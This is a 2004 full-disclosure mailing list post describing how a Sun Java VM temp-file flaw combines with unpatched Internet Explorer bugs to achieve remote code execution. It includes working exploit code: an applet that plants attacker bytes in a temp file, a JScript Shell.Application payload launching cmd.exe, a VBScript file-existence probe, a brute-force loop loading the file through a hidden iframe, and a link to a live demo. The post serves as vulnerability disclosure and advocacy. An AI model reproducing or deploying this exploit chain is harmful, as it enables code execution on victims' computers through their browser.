From: jkuperus at planet.nl (Jelmer)
Subject: IE sucks : sun java virtual machine insecure tmp file creation

INTRODUCTION

 

Actually I wasn't really sure if I ought to post this, but after some
consideration I decided that it might serve as an example of the completely
messed up state we find internet explorer in today. 

 

There's a very minor issue with the way the sun java virtual machine creates
temporary files from applets. IE blows it off the chart, combining this with
some unresolved issues in IE can lead to remote code execution

 

DETAILS

 

A couple of days back Marc Schoenefeld posted an advisory about an
implementation flaw in the sun java virtual machine. 
By passing a specially crafted byte array to the Font.createFont method you
could get the whole vm to crash

 

My partner in crime HTTP-EQUIV was investigating this report when he noticed
that this demo created a temporary file in his temp folder called

 

+~JFxxxxx.tmp

Where xxxxx is a random 5 digit number, He mailed me to say hey take a look
at this 

I decompiled marcs class and noticed  that the .tmp file being created
contained the exact contents of the byte array that got passed to
Font.createFont

 

Now If you can create a file on someone's disk drive and get your browser to
render it, we've got our selves something

 

Ok creating an applet that creates the file on a users disk drive is trivial

 

import java.applet.Applet;

import java.awt.Font;

import java.net.URL;

import netscape.javascript.JSObject;

 

public class Jelmer extends Applet {

 

public void init() {

 

try {

  Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());

} catch(Exception ignored) {}

 

try {

JSObject jsWin = JSObject.getWindow(this);

jsWin.call("doneloading", new Object[]{});

 

} catch(Exception e) {

e.printStackTrace();

} 

}

}

 

This applet creates the file from the url it get's passed as a parameter and
calls the javascript function doneloading when it's done

 

We opt to store a file with these contents to the temp

 

<script language=JScript>

o=new ActiveXObject('Shell.Application');

o.ShellExecute('cmd.exe','/c pause');

</script>

 

Http-equiv's jan 1 Shell.Application bug 

 

http://www.securityfocus.com/archive/1/348688/2003-12-31/2004-01-06/0

Now we have to deal with the random filename, no problem, modern computers
are pretty fast, and the random portion of the filename is only 5 digit's,

Using an old bug
(http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html
) to check for the existence of local files we can run thu every possibility
in a couple of seconds like this

 

<script language="vbscript">

Function Exists(filename)

On Error Resume Next

LoadPicture(filename)

Exists = Err.Number = 481

End Function 

</script>

 

<script language="JScript">

function doneloading() {

dir = 'C:\\Documents and Settings\\USERNAME\\Local Settings\\Temp\\'

for (i=0;i<100000;i++) {

filename = '+~JF' + i + '.tmp'

if (Exists(dir + filename)) {

document.body.insertAdjacentHTML('afterBegin', '<iframe
style="display:none;" src="shell:profile\\Local Settings\\Temp\\' + filename
+ '"></iframe>');

}

}

}

</script>

 

Bang! We would have remote code execution, well at least if we'd know the
username :) Well that's not an issue either
(http://seclists.org/bugtraq/2004/Jun/0308.html)

 

It's the final ingredient we needed

 

DEMO

 

http://poc.homedns.org/execute.htm

 

I am aware that this demo will work for some and won't for others, I haven't
been able to put my finger on it as to why this is, you don't have to mail
me if it's not working for you 

 

CONCLUSION


Well what can I say.. I am not even sure if I can blame sun for this, in any
sensible browser this wouldn't have been exploitable
Everything and anything becomes exploitable running in IE it's just that bad
currently


For the love of god people, just stop using IE

 

Shell.application bug : 7 months old

Local fine enumeration bug : 6 months old

zone spoofing bug  : 1 months old

Insecure by design : timeless

 

In reflection this week an issue was found with the mozilla web browser, it
was dealt with within *2 DAYS*

 

first discussed FD mailing list: Wed, 7 Jul 2004 11:26:19 -0500 

http://lists.netsys.com/pipermail/full-disclosure/2004-July/023573.html

Followup 24 hours later onf FD mailing list: Thu, 8 Jul 2004 15:20:52 -0400 

http://lists.netsys.com/pipermail/full-disclosure/2004-July/023639.html

Mozzila Patch annoucement same day on FD:Thu, 8 Jul 2004 22:36:48 GMT

http://lists.netsys.com/pipermail/full-disclosure/2004-July/023645.html

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040709/c94c1b07/attachment.html

Powered by blists - more mailing lists